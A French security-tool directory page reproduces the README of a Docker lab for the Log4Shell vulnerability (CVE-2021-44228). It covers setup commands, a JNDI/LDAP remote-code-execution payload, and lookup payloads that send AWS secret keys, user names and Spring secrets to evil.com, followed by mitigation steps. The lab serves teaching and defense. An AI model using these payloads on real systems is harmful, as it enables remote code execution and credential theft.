Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
log4shell-docker-lab — Log4Shell (CVE-2021-44228) laboratoire docker | Kitploit
Outils/GitHubGitHub/axelcurmi/log4shell-docker-lab
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubaxelcurmi/log4shell-docker-lab

log4shell-docker-lab

Log4Shell (CVE-2021-44228) laboratoire docker

Voir le dépôt
13il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Lab Docker Log4Shell pour CVE-2021-44228

Les composants

Ce laboratoire Docker utilise trois composants, à savoir :

  • L'application Spring Boot vulnérable
  • Un serveur HTTP qui héberge les fichiers .class utilisés pour l'exécution de code à distance
  • Un serveur de renvoi LDAP qui redirige des requêtes LDAP spécifiques vers le serveur HTTP

Configuration du laboratoire Docker

1. Réseau Docker

root@kitploit:~
docker network create log4shell

2. Construction des images Docker

root@kitploit:~
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec

3. Exécution des conteneurs

Remarque importante : Si vous utilisez Windows PowerShell, remplacez $(pwd) par ${pwd}.

root@kitploit:~
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"

Exploitation

Ouvrez l'application vulnérable, saisissez de faux identifiants de test et ouvrez les logs du conteneur log4shell-vulnapp. On peut constater que l'application enregistre les tentatives de connexion infructueuses (par exemple, Incorrect login attempt for username 'test'). Cette petite expérience établit que nous avons le contrôle sur une partie de la chaîne enregistrée (c'est-à-dire le nom d'utilisateur).

Nous pouvons passer une charge utile comme celle-ci pour exécuter du code à distance :

root@kitploit:~
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}

L'exécution de code à distance peut être réalisée dans n'importe quelle version de Java ; cependant, les machines avec des versions de Java antérieures à la liste suivante [1] :

  • 6u211
  • 7u201
  • 8u191
  • 11.0.1

Cela est dû au fait que les versions ultérieures définissent la propriété système JVM com.sun.jndi.ldap.object.trustURLCodebase sur false par défaut, ce qui désactive le chargement JNDI de classes à partir de bases de code URL arbitraires. Cependant, se fier uniquement à une nouvelle version de Java comme protection contre cette vulnérabilité est risqué, car la vulnérabilité peut encore être exploitée sur des machines contenant certaines classes "gadget" dans le classpath de l'application vulnérable et des requêtes DNS peuvent être utilisées pour obtenir des informations telles que les variables d'environnement.

Il existe plusieurs substitutions de recherche qui révèlent des informations sensibles de la machine victime. Plus particulièrement, en utilisant une charge utile similaire à [2, 3] :

root@kitploit:~
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}

Note : La chaîne d'attaque Spring lookup nécessite que log4j-spring-cloud-config-client soit inclus dans l'application. [2]

Atténuation

La meilleure façon d'atténuer cette grave vulnérabilité est de mettre à niveau log4j2 vers une version >= 2.17.0. Cependant, il est possible d'atténuer complètement le problème sans mise à niveau en utilisant deux méthodes différentes. Il est fortement recommandé aux fournisseurs qui ne peuvent pas mettre à niveau vers une version plus récente de Log4j2 d'utiliser les deux méthodes d'atténuation spécifiées ci-dessous [1].

Méthode 1 : Pour log4j 2.10.0 ou ultérieur - Désactiver les recherches

La désactivation des recherches peut être effectuée (globalement) en définissant la variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS sur true en éditant le fichier /etc/environment et en ajoutant : LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]

Alternativement, les recherches peuvent être désactivées pour une invocation spécifique de la JVM en ajoutant le drapeau de ligne de commande suivant lors de l'exécution de l'application Java vulnérable : ‐Dlog4j2.formatMsgNoLookups=True [1]

Méthode 2 : Pour log4j antérieur à 2.10.0 - Suppression de la classe vulnérable

Lors de l'utilisation d'une version de log4j antérieure à 2.10.0, il est possible de supprimer la classe JndiLookup de toute application Java.

Références

[1] Menashe, S., (2021). Tout savoir sur la vulnérabilité 0-day Log4Shell - CVE-2021-44228. [en ligne] JFrog. Disponible sur : https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Consulté le 24 décembre 2021].

[2] Goers, R., (2021). Log4j – Log4j 2 Lookups. [en ligne] logging.apache.org. Disponible sur : https://logging.apache.org/log4j/2.x/manual/lookups.html [Consulté le 24 décembre 2021].

[3] Oracle. (2021). Propriétés système. [en ligne] Disponible sur : https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Consulté le 24 décembre 2021].

Télécharger l’outil